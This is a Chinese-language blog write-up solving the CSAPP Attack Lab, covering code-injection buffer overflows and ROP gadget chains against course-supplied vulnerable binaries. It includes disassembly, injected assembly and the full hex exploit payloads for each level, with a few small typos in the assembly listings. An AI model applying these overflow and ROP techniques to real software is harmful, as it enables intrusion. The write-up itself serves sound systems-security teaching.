关于课程
这门课程围绕 CSAPP 展开。
书本相关的所有信息,你可以在 这里 找到。
你可以在 Bilibili 或者 YouTube 查看所有的课程视频,Bilibili附带中文字幕。
建议看完相应的章节然后去做相应的实验。大名鼎鼎的 CSAPP 的作者即是这门课程的讲师。你可以在 这里 找到实验相关的所有内容。
这门课程的实验代码可以在我的 Github 找到我的所有解答及相关资料。本次实验相关代码在 ./attacklab-handout 文件夹下。
attack lab
文档
点击 这里, 然后点击圆圈处 即可下载此次实验对应的文档。
解压之后文件夹对应目录:
1 2 3 4 5 6 7 8 9 10 11
| ➜ 下载 tree attacklab-handout attacklab-handout └── target1 ├── cookie.txt ├── ctarget ├── farm.c ├── hex2raw ├── README.txt └── rtarget
1 directory, 6 files
|
- cookie.txt: 4字节签名的文本文件
- ctarget: 具有代码注入漏洞的Linux二进制文件,用于阶段作业的1-3
- farm.c: 此rtarget实例中存在小工具场的源代码,可以编译(使用-Og标志)并反汇编以查找小工具,更多信息查看 实验官方说明文件
- hex2raw: 生成字节序列的实用程序。 更多信息查看 实验官方说明文件
- README.txt: 官方简单说明文件
- rtarget: Linux二进制文件,具有面向返回的编程漏洞,用于分配的阶段4-5
内容
为学生提供了一对独特的定制生成的x86-64二进制可执行文件,称为target,它们具有缓冲区溢出错误。
一个目标很容易受到代码注入攻击。另一个容易受到面向返回的编程攻击的攻击。
要求学生通过基于代码注入或面向返回的编程开发漏洞利用程序来修改目标的行为。该实验室向学生讲授堆栈规程,并教给他们写易受缓冲区溢出攻击的代码的危险。
环境
LINUX
过程
分析
实验官方说明文件: attacklab
运行 ctarget:
1 2
| ➜ target1 git:(master) ./ctarget FAILED: Initialization error: Running on an illegal host [ardxwe]
|
查阅相关资料知道需要加上 -q 标志:
1 2 3
| ➜ target1 git:(master) ./ctarget -q Cookie: 0x59b997fa Type string:
|
一切正常。
level1
毫无疑问,反汇编。
1
| ➜ target1 git:(master) objdump -d ctarget > ctarget.s
|
目标: getbuf 函数使用缓冲区溢出技术使程序执行 touch1 函数
首先查看 getbuf 函数汇编代码:
1 2 3 4 5 6 7 8 9
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
|
显然,栈指针 rsp 减去 0x28 作为缓冲区调用 Gets 函数,我们需要做的仅仅是用 touch1 函数虚拟地址覆盖返回地址即可。
查看 touch1 函数汇编代码:
1 2 3 4 5 6 7 8 9 10
| 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
|
touch1 函数地址是 00000000004017c0, 栈地址可以通过 gdb 获取,不再赘述。所以答案应该是
调用 Gets 之前,图中 old rsp 处存储上一个函数的地址 return address, 图中 rsp 所指的地址为当前 rsp 寄存器内容。
我们输入的字符会一直填充栈内存,前 0x28 字节任意填充,这里选择全 0 填充,后八个字节填充实际地址,因为 0x00 00 00 00 00 40 17 c0 最高字节为 00,所以只需要填前 7 个字节。
根据 C 语言机制,最后一个字节后面会填充为 0 , 可以达到我们的目的。
后面理论上也可以填充任意字节,但是那无关紧要,我们使用最简单的字节序列达到结果即可。
查看 getbuf 汇编代码:
1 2 3 4 5 6 7 8 9
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
|
先执行第 3 行, 调用 Gets 函数,执行完毕,我们的输入已经填充栈内存
然后执行第 4 行, eax 置为 1
执行第 5 行,栈指针增加 0x28, 指向 old rsp
执行第 6 行, 执行 栈指针内存地址代码段,即 touch1,也就达到了我们的目的
实际填充字节:
1 2 3 4 5 6 7
| ➜ target1 git:(master) ✗ cat level1.txt 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00
|
结果:
1 2 3 4 5 6 7 8 9
| ➜ target1 git:(master) cat level1.txt | ./hex2raw | ./ctarget -q Cookie: 0x59b997fa Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00
|
实际执行的命令方式如果你不懂,可以阅读 attacklab
当然也可以 Google, 查阅关于 Linux 管道,流,标准输入,标准输出,标准错误概念
level2
目标:让 ctarget 执行 touch2 的代码,而不是返回 test。你必须造成的效果是:调用 touch2,传递 cookie 作为参数
查看 touch2 函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
|
调用 touch2 很简单,传递地址就行,但核心问题是如何传递参数
显然需要注入代码
1 2 3
| push $0x4017ec mov $0x59b997fa, %edi ret
|
程序跳转到图中 rsp 处,执行栈内存代码
首先 push touch2 地址,touch2 地址 push 到 图中 old rsp 处
然后将立即数(我的cookie)给 edi 作为第一个参数
最后 ret 执行 touch2 代码段,完美
获取汇编代码的字节表示:
1 2 3 4 5 6 7 8 9 10 11 12
| ➜ target1 git:(master) ✗ gcc -c level2.s ➜ target1 git:(master) ✗ objdump -d level2.o
level2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>: 0: 68 ec 17 40 00 pushq $0x4017ec 5: bf fa 97 b9 59 mov $0x59b997fa,%edi a: c3 retq
|
实际填充字节:
1 2 3 4 5 6 7
| ➜ target1 git:(master) ✗ cat level2.txt 68 ec 17 40 00 bf fa 97 b9 59 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00
|
结果:
1 2 3 4 5 6 7 8 9
| ➜ target1 git:(master) cat level2.txt | ./hex2raw | ./ctarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 BF FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00
|
level3
目标:让 ctarget 执行 touch3 代码。以 cookie 表示的字符串作为参数
和 level2 唯一不同的是我们需要传递指针,而且字符串本身需要自己填充
汇编代码:
1 2 3
| push $0x4018fa mov $0x5561dca8, $edi ret
|
push touch3 函数 将字符串指针传递给 edi 寄存器, 返回,调用 touch3
这里将字符串传递到 old rsp 上方,可以保证在调用 touch3 完成不会被破坏
字节表示(注意字符串的字节表示):
1 2 3 4 5 6 7 8 9
| ➜ target1 git:(master) ✗ cat level3.txt 68 fa 18 40 00 bf a8 dc 61 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
|
结果:
1 2 3 4 5 6 7 8 9
| ➜ target1 git:(master) ✗ cat level3.txt | ./hex2raw | ./ctarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 BF A8 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
|
level4
目的:使用制定范围内的两个小工具调用 touch2, 并传递 cookie 参数
小工具指:特定函数范围内某些汇编指令可以利用起来完成我们想要的功能
1 2 3
| 0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi) 400f1b: c3 retq
|
48 89 c7 也是指令 movq %rax, %rdi 字节表示,我们可以通过填充指令地址,同时利用 ret 指令达到完成一些功能
字节表示:
1 2 3 4 5 6 7 8 9 10
| ➜ target1 git:(master) cat level4.txt 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00
|
首先执行 0x4019ab 处代码,对应位置代码为
将 cookie 赋给 rax 执行 rsp 处指令
0x 4019c5:
cookie 送到 rdi,跳到 touch2, 完美
结果:
1 2 3 4 5 6 7 8 9
| ➜ target1 git:(master) cat level4.txt | ./hex2raw | ./rtarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00
|
leve5
目的:执行 touch3 函数,将 cookie 字符串作为参数
此处程序本身使用栈指针随机化技术,每次 rsp 值不固定,所以需要记录 rsp
实际字节:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ➜ target1 git:(master) cat level5.txt 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 ab 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
|
汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| movq %rsp, %rax retq
movq %rax, %rdi retq
popq %rax nop retq
movl %eax, %edx nop retq
movl %edx, %ecx cmpb %c9, %c9 retq
mov %ecx, %esi nop nop retq
lea (%rdi, %rsi, 1), %rax retq
movq %rax, %rdi retq
|
获取栈指针,然后栈上存储偏移,加和得到实际字符串指针,然后跳转到 touch3
明白指令含义,还有 rsp 始终代表当前程序栈顶,就不困难
结果:
1 2 3 4 5 6 7 8 9
| ➜ target1 git:(master) cat level5.txt | ./hex2raw | ./rtarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
|
全文完
任何建议或者疑问你可以发我邮件: ardxwe@gmail.com